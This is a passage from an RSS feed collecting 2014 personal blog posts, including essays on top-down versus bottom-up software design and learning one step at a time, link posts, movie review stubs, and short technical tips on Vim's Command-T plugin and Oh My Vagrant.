&lt;p&gt;[1] - no BurningMan pun intended. I haven’t been there but it sounds fun. I want to do it some day but it is not the point of the essay.&lt;/p&gt;</description><author>D13V</author><pubDate>Mon, 08 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2014/09/08/body-rocket-science</guid></item><item><title>The Art of Designing Softwares</title><link>https://whackylabs.com/rant/2014/09/07/the-art-of-design-softwares/</link><description>&lt;p&gt;When I was in college, my vision of a software was like, we have a problem and we need a solution, a program, a set of instructions, that has to be executed by the computer in order to solve that particular problem. For example, design a program to print a Fibonacci series using loops, recursion, implement with an array, a doubly linked list, an AVL tree.&lt;/p&gt;

&lt;p&gt;Then there are these programming challenges like the Facebook Hacker Cup, or the Google CodeJam, that just focus on how strong are you at understanding and implementing common algorithms and data structures, or can you design your own data structures and algorithms?&lt;/p&gt;

&lt;p&gt;And, there is nothing wrong with that, but just that writing softwares isn’t just about designing algorithms or data structures, as one eventually discovers.&lt;/p&gt;

&lt;p&gt;When I got my first job as an iOS developer, and start writing softwares at the enterprise levels. First thing I realized was that, the solution space is no longer just a set of instructions in a single file, but it is split into hundreds if not thousands of files. I realized that writing softwares is no longer just about algorithms and data structures. In fact, almost all of the interesting algorithms and data structures are either already solved and ready to use for your existing code, or nobody really cares about them as the first priority. There is a high probability that the programming languages of your choice is already bundled with all common data structures and algorithms you’ll ever need.&lt;/p&gt;

&lt;p&gt;As a software engineer, most of the time I was working on managing the flow of data and control. The actual work seemed more close to plumbing, where instead of fluids one manages the flow of electrons through the hardware. Initially I was somewhat shocked to see that the iOS framework provides just three data structures, NSArray, NSDictionary and NSSet*. Thats it!&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;(maybe also NSMapTable, NSHashTable, NSCountedSet, NSPointerArray,… but let’s assume we haven’t heard of them)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id="what-is-software-engineering"&gt;What is software engineering?&lt;/h2&gt;

&lt;p&gt;For me software engineering is more about understanding the problem at a higher level. It is half part how good you’re at designing the flow yourself and half part, how good are you at reusing the existing solutions written by others.&lt;/p&gt;

&lt;p&gt;Part 1: The design space
The design space deals with problems like:&lt;/p&gt;

&lt;p&gt;How do I want the UI to be?
How do I manage downloading of multiple files in background even after my application has been quit?
How do I keep the memory used by the application in control? What happens, when I actually run out of memory?
How do I confirm that the code is just wrote, is going to pass all edge cases at all times?
Part 2: The integration space
The integration space deals with problems like:&lt;/p&gt;

&lt;p&gt;How do I use the code I had written some time back to solve a similar problem?
How do I design this code, so that it could be used next time I face a similar problem?
Has someone already tackled a problem similar to mine? If yes, how can I use their solution?
Of these two subspaces, the design space seems easier, because you’re taught this at college level and you’re in total control of the design. The integration space is hard, and by hard I mean really hard. At a first few attempts, you might seriously consider skipping the integration and try moving it to the comfortable design space, i.e., reinvent the wheel.&lt;/p&gt;

&lt;p&gt;But, the reality is that you can’t always design your own solutions. Maybe you’re working with an organization that already has codebase of solutions that has to be used; Or your other teammate is solving the problem in parallel; Or maybe the solution is already written out years ago and has been used and maintained for a really long time. Not to mention the time constraints with the design space.&lt;/p&gt;

&lt;p&gt;With my years of development, I’ve come to realization that almost all the problems are already solved or there are people already working on it. If you think, you are the only one working on it, you’re most definitely wrong. (If not, please add me to your project).&lt;/p&gt;

&lt;p&gt;I bigger challenge then is, how to use the solution written by others, or by you some time ago? The main problem is that the problem could have been solved in some other context, or maybe it was not thought out enough. There could also be some flaws in the basic design, like the existing solution is not thread safe.&lt;/p&gt;

&lt;p&gt;At the even higher level, a software can be written in two ways. Bottom-up or Top-down.&lt;/p&gt;

&lt;h2 id="bottom-up-approach"&gt;Bottom-up approach&lt;/h2&gt;

&lt;p&gt;Think of a problem where you have to design a car, in software that is. One of the ways you can design a car is, break down it into smaller tasks.&lt;/p&gt;

&lt;p&gt;Design the tire.
Design the body.
Design the engine.
Here each step is recursive in itself, as the designing the engine would be again broken down further until you reach an atomic task that can not be broken down any further. You start working on those pieces and at then assemble them all back into places, and you have a car.&lt;/p&gt;

&lt;p&gt;This solution has many benefits like, you can easily assign tasks between team members, and can almost work independently on them. Also, it is easier to design for the future this way, as when you’re working on designing the tires, you’re just focused on designing the tires that should fit all known use cases.&lt;/p&gt;

&lt;p&gt;The main problem with bottom-up approach is, you need to be a good future-seeker. Whatever solutions you’re designing, should fall into place perfectly. Say on the final assembly day you realize the sockets on the body are not big enough to hold the tires. Also, as one can tell, bottom-up approach is more time consuming, because you’re designing for the unknown future. Imagine, your car has to perform well on all sort of geographical terrains. Most of the time you might even end up thinking too forward and design for the year 2056, while your solution would become obsolete in next 3 months. Try talking to all those who wrote great solutions with NSThread before Apple rolled GCD. And don’t forget the time constraints, your boss, teammates, consumers are always pressurizing you to release it already.&lt;/p&gt;

&lt;h2 id="top-down-approach"&gt;Top down approach&lt;/h2&gt;

&lt;p&gt;Think of the same problem of designing the car, but this time you’re working top down. You don’t actually care about the year 2056, but just this day. You start with a giant piece of metal and a empty notepad.&lt;/p&gt;

&lt;p&gt;Then you start carving the metal block into the car. When you get to carving out the left tire, you might realize you’ve already done something similar. Then, you realize, yes sometime back you designed the right tire and this feels almost similar. So, you just apply the same procedure again and as your car comes to finish. With top-down approach often you might feel like the amount of work getting reduced with each iteration.&lt;/p&gt;

&lt;p&gt;The problems with top-down approach are that, it’s really hard to work with a big team, because you’re blank at the beginning, so you can not assign tasks. Most of the time you need to start alone, and bring in more teammates as you progress.&lt;/p&gt;

&lt;p&gt;The main differences between the two approaches are:&lt;/p&gt;

&lt;p&gt;Top-down feels more like looking into the past while bottom-up is more into looking into the future.
Top-down solves the same problem in lesser time than bottom-up.
Top-down is not as future safe as bottom-up. Imagine a request to add a radio in the car. With bottom-up an engineer might have already thought about something similar and kept a ‘future’ slot, but with top-down you need to carve a hole and move internal stuff until you just get the radio working.
At the end of the day, top-down seems to taking you more closer to the end product, while bottom-up still seems uncertain until the final assembly.
What approach you pick actually depends on the task you’re solving. If you designing a framework or a library that has to be used by others or by you in the future, and have a lot of time at your hands, go for the bottom-up.&lt;/p&gt;

&lt;p&gt;If you’re designing the end product, where time is limited. Maybe your product is eventually going to end up in garbage in 2 years, go with top down.&lt;/p&gt;

&lt;p&gt;Another approach that can be tried is the hybrid approach, where you break the original task into smaller chunks using the bottom-up approach. Assign each sub problem to each teammate and then work on each sub problem with top-down approach in parallel until the final assembly.&lt;/p&gt;</description><author>Whacky Labs</author><pubDate>Sun, 07 Sep 2014 20:58:54 GMT</pubDate><guid isPermaLink="true">https://whackylabs.com/rant/2014/09/07/the-art-of-design-softwares/</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-9114.html</link><description>&lt;p&gt;Coming back from &lt;a href="https://zacs.site/blog/this-week-without-podcasts-83014.html"&gt;a week without podcasts&lt;/a&gt;, I have two great episodes to showcase this time around. Here&amp;#8217;s to fantastic podcasts, then, and their continued, well-deserved success.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-9114.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 07 Sep 2014 20:28:50 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-9114.html</guid></item><item><title>Captain America: The Winter Soldier</title><link>https://olshansky.info/movie/captain_america_the_winter_soldier/</link><description>Olshansky's review of Captain America: The Winter Soldier</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 07 Sep 2014 18:34:36 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/captain_america_the_winter_soldier/</guid></item><item><title>Sleep is for Quitters</title><link>https://medium.com/@RayNicholus/sleep-is-for-quitters-6fa843960825#.igawmooe0</link><description>I was a CS student long ago, but still remember the life. I’ve learned a lot since then and have a successful career. Perhaps I could have evolved much faster with a better initial understanding of this profession. Knowing the lessons I learned will help you avoid some of my mistakes.</description><author>Train of Thought</author><pubDate>Sun, 07 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://medium.com/@RayNicholus/sleep-is-for-quitters-6fa843960825#.igawmooe0</guid></item><item><title>Congratulations Adventurer</title><link>http://blog.peramid.es/rss.xml/posts/2014-09-07-congrats.html</link><description>&lt;p&gt;Your quest is at an end for you have reached the home of Peramides&lt;a class="footnote-ref" href="#fn1" id="fnref1"&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This is a personal blog about things I’ve learnt, discovered, thought, or that I just need to write down somewhere because I always forget them. It’s a spiritual successor of my old WordPress blog. I needed something fresh so I built this using Jekyll/Octopress (I almost chose &lt;a href="https://hackage.haskell.org/package/hakyll"&gt;Hakyll&lt;/a&gt; but its documentation was scarce and outdated, and I’m not really proficient in Haskell yet) and I’m hosting it with GitHub Pages. By the way, the current theme is a fork of CleanPress I made called &lt;a href="https://github.com/pera/cleanerpress"&gt;CleanerPress&lt;/a&gt;; actually I wanted a &lt;a href="http://contemporary-home-computing.org/prof-dr-style/"&gt;Professor Doctor Style&lt;/a&gt;, but probably most visitors would have considered that something awful.&lt;/p&gt;
&lt;p&gt;Having said that… My posts are not peer-reviewed and could be pretty opinionated at times. Also, English is not my first language, so expect syntactic, grammatical, and spelling errors. Finally, there is no comments section (and there will never be). Complaints? Please send me an e-mail to &lt;em&gt;+&lt;/em&gt; at &lt;em&gt;peramid.es&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;So, I think that’s all. Welcome and enjoy your stay!&lt;/p&gt;
&lt;section class="footnotes footnotes-end-of-document" id="footnotes"&gt;
&lt;hr /&gt;
&lt;ol&gt;
&lt;li id="fn1"&gt;&lt;p&gt;&lt;em&gt;Peramides&lt;/em&gt; is a partial anagram of &lt;a href="https://en.wikipedia.org/wiki/Parmenides"&gt;Parmenides&lt;/a&gt;, which includes the lexeme pera (i.e. pear in Spanish).&lt;a class="footnote-back" href="#fnref1"&gt;↩︎&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</description><author>pera's blog</author><pubDate>Sun, 07 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">http://blog.peramid.es/rss.xml/posts/2014-09-07-congrats.html</guid></item><item><title>Serenity</title><link>https://olshansky.info/movie/serenity/</link><description>Olshansky's review of Serenity</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 06 Sep 2014 15:36:34 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/serenity/</guid></item><item><title>I Ghostwrite Chinese Students' Ivy League Admissions Essays</title><link>http://www.vice.com/read/i-ghostwrote-hundreds-of-chinese-students-ivy-league-admissions-essays-897</link><description>&lt;p&gt;The idea that one could survive and prosper based on their merits alone is a comforting idea. If this story teaches us anything though, it teaches us that increasingly, it is nothing more than that&amp;#160;&amp;#8212;&amp;#160;little more than a comforting notion in a world where mom and dad can open their wallets to make any door spring open before their baby. I signed eight years of my life away in exchange for a four-year education, and while &lt;a href="https://zacs.site/blog/looking-to-the-future.html"&gt;I don&amp;#8217;t regret that decision in the least&lt;/a&gt;, it&amp;#8217;s remarkably disheartening to see others reap similar rewards in exchange for their father&amp;#8217;s signature and a brief &amp;#8220;Thanks.&amp;#8221;&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.vice.com/read/i-ghostwrote-hundreds-of-chinese-students-ivy-league-admissions-essays-897"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 06 Sep 2014 15:15:13 GMT</pubDate><guid isPermaLink="true">http://www.vice.com/read/i-ghostwrote-hundreds-of-chinese-students-ivy-league-admissions-essays-897</guid></item><item><title>Screenshot Saturday 188</title><link>https://etodd.io/2014/09/06/screenshot-saturday-188/</link><description>&lt;p&gt;I'm taking September off to work for some clients, so Lemma is temporarily on the back-burner.&lt;/p&gt;
&lt;p&gt;HOWEVER. Wednesday night a certain something arrived in the mail.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/cZ1shcW.jpg"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/cZ1shcWl.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I immediately tried it out with Half-Life 2 and was shocked at the massive improvement over DK1. I was so impressed that I've spent pretty much every waking minute since then trying to get it working in Lemma.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/auU4mKx.jpg"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/auU4mKxl.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Current status? It's very, very close. The VR itself is 100% functional now, I just need to make some UI tweaks. The Oculus SDK makes an incredibly difficult thing as simple as it possibly can be. For Unity users it's almost plug and play, but because I'm still stuck in 2008 with XNA I had to rip out the Unity plugin and hook it up on my own (similar to what I did for Wwise). I discovered that it's very easy to get a somewhat passable result that's actually incorrect. You have to learn about crazy things like chromatic aberration and time warping to get the best result.&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Sat, 06 Sep 2014 04:55:10 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/09/06/screenshot-saturday-188/</guid></item><item><title>Learn from Side Projects</title><link>https://solomon.io/learn-side-projects/</link><description>How can I learn to code? It’s a question I get a fair amount. The obvious answers are to checkout codecademey and Treehouse.</description><author>Sam Solomon</author><pubDate>Sat, 06 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/learn-side-projects/</guid></item><item><title>An idealistic notion</title><link>http://wholelarderlove.com/an-idealistic-notion/</link><description>&lt;p&gt;I &lt;a href="https://zacs.site/blog/walk-it-off-brother.html"&gt;first&lt;/a&gt; came across Rohan Anderson and his writing through a video titled &amp;#8220;&lt;a href="http://vimeo.com/48864768"&gt;The Smokehouse&lt;/a&gt;&amp;#8221;, where he talked about and demonstrated his efforts to construct a smokehouse completely by hand. Since that cool winter night almost a year ago now, I have continued following Rohan&amp;#8217;s activities through his excellent blog, &lt;a href="http://wholelarderlove.com/"&gt;Whole Larder Love&lt;/a&gt;, and have linked to a number of his articles in the weeks and months since then. If my implicit endorsement of everything he says and stands for has not been enough to warrant your attention, though, let me come out and say it once more, this time explicitly: if you have any interest whatsoever in the outdoors, farming, sustainability, independence, health, cooking, photography, or alternative lifestyles, I implore you to spend some time learning about Rohan&amp;#8217;s lifestyle choices and the reasons he made those decisions. And this post, &lt;a href="http://wholelarderlove.com/an-idealistic-notion/"&gt;An idealistic notion&lt;/a&gt;, is a great place to start.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://wholelarderlove.com/an-idealistic-notion/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 05 Sep 2014 13:46:59 GMT</pubDate><guid isPermaLink="true">http://wholelarderlove.com/an-idealistic-notion/</guid></item><item><title>Murat Mutlu: Co-founder of Marvel</title><link>https://solomon.io/murat-mutlu-co-founder-of-marvel/</link><description>Sometimes those little side projects that take nights and weekends to build can bloom into something much bigger.</description><author>Sam Solomon</author><pubDate>Fri, 05 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/murat-mutlu-co-founder-of-marvel/</guid></item><item><title>One step at a time</title><link>http://dimitarsimeonov.com/2014/09/04/one-step-at-a-time</link><description>&lt;p&gt;When I was 18 years old, I started taking driving lessons. I practiced on an old Opel Astra, that was running on propane instead of normal gas, to save money. On my first lesson, we spent a large portion of the time going over the different tools and instruments available in the car. We covered many things at once. How to turn the signals, which pedal is the throttle, the break, and the clutch, how to use them to switch gears, how to turn lights on/off, how to see the amount of gas available, how to turn the radio on/off.&lt;/p&gt;

&lt;p&gt;The first few lessons I spent by thinking mostly about how to switch gears so that the car would go smoothly and not choke up. I didn’t pay full attention to all the traffic signs and all the pedestrians crossing in front of me. I had an instructor next to me who made sure I don’t crash into objects or people. Because of that I was able to devote more time to learning how to operate the controls of the car, how to switch gear smoothly, accelerate and decelerate.&lt;/p&gt;

&lt;p&gt;I became OK with controlling the car, but I wasn’t great. I was also far from great on my situational awareness - I hadn’t practiced enough looking in perspective, with foresight about the traffic conditions, so I ended up being very reactive to the world around me, instead of being proactive about avoiding collisions, avoiding slowness and observing the traffic rules.&lt;/p&gt;

&lt;p&gt;Later, after I got my driver’s license, I learned to be better on these aspects of driving, I learned to look further away in distance, to anticipate cars switching lanes and to precisely control which path I took among the different lanes in order to get to my destination faster. It took a lot of practice. As I was starting to my driving career I was bad at all of these and I was probably a pretty bad and dangerous driver. I should have learned these essential skills better before I got my license. Luckily, I avoided traffic accidents, but I’ve been thinking about how much better of a driver I would have been if I had learned to drive on automatic car.&lt;/p&gt;

&lt;p&gt;If I were to learn on an automatic car, I would have one less task in front of me. I would have focused more on how the car behaves in relation to the other cars on the road, to pedestrians, and traffic signs. Once capable enough to decide and execute on the right behavior for the car, I could optionally start learning how to control the manual aspect of shifting gears, and how to keep a smooth ride, accelerating and decelerating.&lt;/p&gt;

&lt;p&gt;An year ago, I was in Italy, and the rental car I had rented stopped working. I had to call the representative of the company, who barely spoke English, and my Italian was even way worse, and I had to explain that I have already rented a car from a different city, the car doesn’t work, I need a new car and so on. The connection wasn’t always great so I had to call multiple times, and I had to start my explanation from scratch. If I tried to say my situation and all my problems at once, the person on the other side of the phone got really confused. So, I started saying one thing at a time, wait for the acknowledgement from that person, that have understood. They often repeated their understanding which made it easier to move the conversation.&lt;/p&gt;

&lt;p&gt;Breaking up the any communication would simplify the process and focus on what is really important. Not only that, it would lead to a more solid transfer of information. For example, I’ve seen how breaking up teaching into few small lessons makes it easier for the teacher and the student to follow along. As humans we can only keep so many things in our minds, so anything unnecessary is a distraction. When teaching somebody a piece of information, break it down into small, possibly independent pieces. This way limit the number of unknowns at any moment to only one, because if the other person isn’t paying full attention or simply didn’t understand then you can repeat or clarify. By breaking down the lesson into smaller bite-sized learnings the recipient of the information has better chance of “getting it”.&lt;/p&gt;

&lt;p&gt;The order of the pieces of information is also important. If you jump into a middle of a conversation, then so many things don’t make sense because they were introduced and described earlier in the conversation and now they are assumed for known and taken for granted.&lt;/p&gt;

&lt;p&gt;There are many situations in life where you might be explaining something complex and you might think that certain parts of it are obvious but they wouldn’t really be obvious to the other person. The problem that you don’t  know whether the other side understands you and what they understand. Even if they say “Yes, I understand”, chances are that their understanding differs from yours. While many times the differences wouldn’t matter for the task at hand, when they actually do happen to matter the situation turns into arguing and negotiating. By keeping an active dialogue with the other side about what they understand you get much better feedback on what you need to clarify and because of this feedback you can move the conversation forward. One step at a time, but at least you know it is in the right direction.&lt;/p&gt;

&lt;p&gt;One piece of information at a time is the speed limit of human communication. Here “at a time” means one loop of a conversation. If communication happens in person, then loops are short and communication can go back and forth fast. Pieces of information can build up on top of previously communicated pieces of information, as long as the previous piece of information is shared by both parties. The “one step at a time” becomes really important in this case, as without it failures of understanding are harder to pinpoint.&lt;/p&gt;

&lt;p&gt;When I first arrived to USA and took a driver exam I got failed. I didn’t fail because the exam was harder than the exam I had previously passed in Bulgaria. It was actually easier and shorter. I failed because I hadn’t really learned to control the car to the point where control comes naturally and viscerally. It took me a fair bit of driving with my Bulgarian license to become precise and foresightful about driving.&lt;/p&gt;

&lt;p&gt;My driving skills got developed to the level of not having to think at all about “how do I make the car accomplish this”. Instead, I only think about “what” I want to accomplish and my subconsciousness takes care of it.&lt;/p&gt;

&lt;p&gt;But I still had room to improve.&lt;/p&gt;

&lt;p&gt;Last year I was driving through the mountains, on a curvy road, and my friend said I was shaking the car too much, by doing very sudden turns. He said that while such turns might be necessary for racing drivers, they are completely unnecessary when driving a normal car. Driving smooth wasn’t a skill to learn before following traffic and before getting a good control over the car. But because I had these skills then,  learning to drive smoothly become the next step of learning for me. And I improved on it. I have more steps to learn, and plan to learn them one step at a time.&lt;/p&gt;</description><author>D13V</author><pubDate>Thu, 04 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2014/09/04/one-step-at-a-time</guid></item><item><title>Introducing: Oh My Vagrant!</title><link>https://purpleidea.com/blog/2014/09/03/introducing-oh-my-vagrant/</link><description>&lt;p&gt;If you&amp;rsquo;re a reader of my &lt;a href="https://github.com/purpleidea/"&gt;code&lt;/a&gt; or of &lt;a href="https://purpleidea.com/blog/"&gt;this blog&lt;/a&gt;, it&amp;rsquo;s no secret that I hack on a lot of &lt;a href="https://en.wikipedia.org/wiki/Puppet_%28software%29"&gt;puppet&lt;/a&gt; and &lt;a href="https://en.wikipedia.org/wiki/Vagrant_%28software%29"&gt;vagrant&lt;/a&gt;. Recently I&amp;rsquo;ve fooled around with a bit of &lt;a href="https://en.wikipedia.org/wiki/Docker_%28software%29"&gt;docker&lt;/a&gt;, too. I realized that the &lt;a href="https://github.com/purpleidea/puppet-gluster/blob/master/vagrant/Vagrantfile"&gt;vagrant&lt;/a&gt;, &lt;a href="https://github.com/purpleidea/puppet-ipa/blob/master/vagrant/Vagrantfile"&gt;environments&lt;/a&gt; I built for &lt;a href="https://github.com/purpleidea/puppet-gluster/"&gt;puppet-gluster&lt;/a&gt; and &lt;a href="https://github.com/purpleidea/puppet-ipa/"&gt;puppet-ipa&lt;/a&gt; needed to be generalized, and they needed new features too. Therefore&amp;hellip;&lt;/p&gt;
&lt;p&gt;Introducing: &lt;strong&gt;Oh My Vagrant!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Oh My Vagrant&lt;/em&gt; is an attempt to provide an &lt;em&gt;easy&lt;/em&gt; to use development environment so that you can be up and hacking &lt;em&gt;quickly&lt;/em&gt;, and focusing on the real &lt;em&gt;devops&lt;/em&gt; problems. The &lt;a href="https://github.com/purpleidea/oh-my-vagrant/blob/master/README"&gt;README&lt;/a&gt; explains my choice of project name.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Thu, 04 Sep 2014 02:19:19 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/09/03/introducing-oh-my-vagrant/</guid></item><item><title>How to speed-up Vim’s Command-T plugin</title><link>https://bfontaine.net/2014/09/04/how-to-speed-up-vim-command-t-plugin/</link><description>&lt;p&gt;&lt;a href="https://github.com/wincent/command-t#readme"&gt;Command-T&lt;/a&gt; is a wonderful Vim plugin which allows you to open files
&lt;q&gt;with a minimal number of keystrokes&lt;/q&gt;. It’s really handy in a large
codebase where you only have to type &lt;code class="language-plaintext highlighter-rouge"&gt;&amp;lt;leader&amp;gt;t&lt;/code&gt;, then a couple letters and
press enter to open your file. It’s based on a fuzzy matching, which let you
skip letters without worrying.&lt;/p&gt;

&lt;p&gt;I recently installed the plugin on another machine and noticed it was really
low: I had to wait a couple seconds to get the files list everytime. My
computer has 8GB RAM so the problem wasn’t there.&lt;/p&gt;

&lt;p&gt;The solution is pretty simple: the plugin relies on a C extension which I
forgot to compile after the installation.&lt;/p&gt;

&lt;p&gt;From the docs:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;cd ~/.vim/bundle/command-t/ruby/command-t
ruby extconf.rb
make
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It’ll make the plugin incredibly faster. This step is easy to miss if you read
the docs too quickly. I wrote this blog post to remember this, I hope it might
help a couple others since I didn’t find anything on Google about this issue.&lt;/p&gt;</description><author>Baptiste Fontaine’s Blog</author><pubDate>Thu, 04 Sep 2014 01:03:00 GMT</pubDate><guid isPermaLink="true">https://bfontaine.net/2014/09/04/how-to-speed-up-vim-command-t-plugin/</guid></item><item><title>How to Unschool Your Kids at Any Age</title><link>http://www.outsideonline.com/outdoor-adventure/nature/Rewild-Your-Child.html</link><description>&lt;p&gt;&lt;a href="https://zacs.site/blog/we-dont-need-no-education.html"&gt;After Ben Hewitt&amp;#8217;s recent essay&lt;/a&gt; on his approach to and the benefits of unschooling, Outside Online has another great article on the subject, this time offering some helpful suggestions to those looking to differ from the norm. Again, not the time to share my thoughts on this subject quite yet, but keep this one, too, in the back of your mind when I do.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.outsideonline.com/outdoor-adventure/nature/Rewild-Your-Child.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 03 Sep 2014 11:02:19 GMT</pubDate><guid isPermaLink="true">http://www.outsideonline.com/outdoor-adventure/nature/Rewild-Your-Child.html</guid></item><item><title>About collecting usage statistics from Wish 'N U</title><link>https://prashamhtrivedi.in/wishnu_analytics_explanation.html</link><description>I use Google Analytics to collect some usage information in Wish &amp;lsquo;N U.This post is to explain what do I collect and why.</description><author>Prasham H Trivedi</author><pubDate>Wed, 03 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://prashamhtrivedi.in/wishnu_analytics_explanation.html</guid></item><item><title>PianoBar: Pandora without all the Flash</title><link>https://joshuarogers.net/articles/2014-09/pianobar/</link><description>Over the last few years I've grown rather accustomed to listening to my Pandora while working, even upgrading to PandoraOne so that I can enjoy my music without interruptions 1. However, I found myself avoiding Pandora earlier this year. Why? Pandora uses Flash for the web and Air for the desktop, presumably in order to annihilate the battery on my laptop. 2
The problem isn't Pandora though, it's Flash. What if I could use Pandora without Flash?</description><author>Joshua Rogers</author><pubDate>Mon, 01 Sep 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-09/pianobar/</guid></item><item><title>Cabin Porn Roundup</title><link>https://zacs.site/blog/cabin-porn-roundup-814.html</link><description>&lt;p&gt;This is a continuation of my ongoing Cabin Porn Roundup series, where I collect interesting pictures of cabins and cool stories about the outdoors from across the world and present them in a single location. Much like my &amp;#8220;This Week in Podcasts&amp;#8221; series, I feature only the best of the best here. Enjoy.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/cabin-porn-roundup-814.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 01 Sep 2014 12:25:53 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/cabin-porn-roundup-814.html</guid></item><item><title>Annie Hall</title><link>https://olshansky.info/movie/annie_hall/</link><description>Olshansky's review of Annie Hall</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 31 Aug 2014 12:01:16 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/annie_hall/</guid></item><item><title>This Week Without Podcasts</title><link>https://zacs.site/blog/this-week-without-podcasts-83014.html</link><description>&lt;p&gt;For the past five months I have continued publishing a series of articles dubbed &amp;#8220;This Week in Podcasts&amp;#8221;. Born of my love for the medium, I have curated these lists to great results, and to my great enjoyment. However, this week I find myself in an unfortunate position: although I have worked diligently to get through my growing queue of unplayed podcast episodes over the past week, I have yet to find anything that merits inclusion in this list. I have had the privilege of listening to some great shows, but nothing struck me as particularly excellent and worthy of mention, unfortunately. And so, I have nothing to share with you today. I apologize, and look forward to something more next week.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-without-podcasts-83014.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 31 Aug 2014 10:22:43 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-without-podcasts-83014.html</guid></item><item><title>Signal Tower: Longform Interviews</title><link>https://solomon.io/signal-tower/</link><description>Signal Tower is an online magazine that features longform interviews with entrepreneurs, writers and designers.</description><author>Sam Solomon</author><pubDate>Sun, 31 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/signal-tower/</guid></item><item><title>Easy way to test a tiled and animated background sprite</title><link>https://ericonotes.blogspot.com/2014/08/easy-way-to-test-animated-background.html</link><description>I'm working in my game, it's going be awesome. Ok, so while working in it, I need a fast way to test my animated background sprites. I use Aseprite for drawing - it's great, and if you use Ubuntu, you can&amp;nbsp; &lt;span&gt;sudo apt-get install aseprite&lt;/span&gt;. Go to the website for more info on other OS: &lt;a href="http://www.aseprite.org/"&gt;http://www.aseprite.org/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Let's try an example:&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
&lt;br /&gt;
